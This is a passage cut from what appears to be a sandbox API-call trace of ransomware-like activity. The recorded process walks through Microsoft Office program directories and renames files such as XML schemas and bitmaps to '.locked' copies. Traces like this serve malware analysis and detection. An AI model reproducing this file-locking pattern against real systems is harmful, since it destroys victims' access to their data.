office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg.locked"), dwFlags=0x2) returned 1 [0041.703] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0041.706] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbbd7bda0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbbd7bda0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0041.710] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbbd7bda0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbbd7bda0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0041.712] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml.locked"), dwFlags=0x2) returned 1 [0041.714] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbbda1f00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbbda1f00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0041.818] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml.locked"), dwFlags=0x2) returned 1 [0041.927] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml.locked"), dwFlags=0x2) returned 1 [0042.030] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml.locked"), dwFlags=0x2) returned 1 [0042.035] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc09ba80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbc09ba80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0042.038] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc09ba80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbc09ba80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0042.044] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc0c1be0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbc0c1be0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0042.300] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml.locked"), dwFlags=0x2) returned 1 [0042.571] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml.locked"), dwFlags=0x2) returned 1 [0042.575] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc5d0aa0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbc5d0aa0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0043.135] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml.locked"), dwFlags=0x2) returned 1 [0043.391] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml.locked"), dwFlags=0x2) returned 1 [0043.393] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbcd8d220, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbcd8d220, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0043.396] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbcd8d220, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbcd8d220, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0043.397] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbcd8d220, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbcd8d220, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0043.404] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcdb3380, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbcdb3380, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0043.804] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml.locked"), dwFlags=0x2) returned 1 [0043.819] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml.locked"), dwFlags=0x2) returned 1 [0043.822] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml.locked"), dwFlags=0x2) returned 1 [0044.033] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml.locked"), dwFlags=0x2) returned 1 [0044.533] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml.locked"), dwFlags=0x2) returned 1 [0045.229] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml.locked"), dwFlags=0x2) returned 1 [0045.432] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml.locked"), dwFlags=0x2) returned 1 [0045.438] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe10a640, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe10a640, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0045.440] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml.locked"), dwFlags=0x2) returned 1 [0045.444] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe1307a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe1307a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0045.450] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe1307a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe1307a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0045.454] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe1307a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe1307a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0045.456] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe1307a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe1307a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0045.457] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xbe1307a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe1307a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0045.458] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe156900, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe156900, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0045.462] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe156900, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe156900, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0045.465] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe156900, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe156900, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0045.474] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe17ca60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe17ca60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0045.476] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe17ca60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe17ca60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0045.478] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml.locked" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml.locked"), dwFlags=0x2) returned 1 [0045.634] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\splashscreen.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\SplashScreen.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\splashscreen.bmp.locked"), dwFlags=0x2) returned 1 [0045.637] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe2f9820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe2f9820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0045.638] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xbe2f9820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe2f9820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0045.642] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xbe2f9820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe2f9820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0045.659] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe31f980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe31f980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0045.661] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe345ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe345ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0045.664] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Stationery\\1033\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe345ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe345ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0045.667] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe345ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbe345ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, 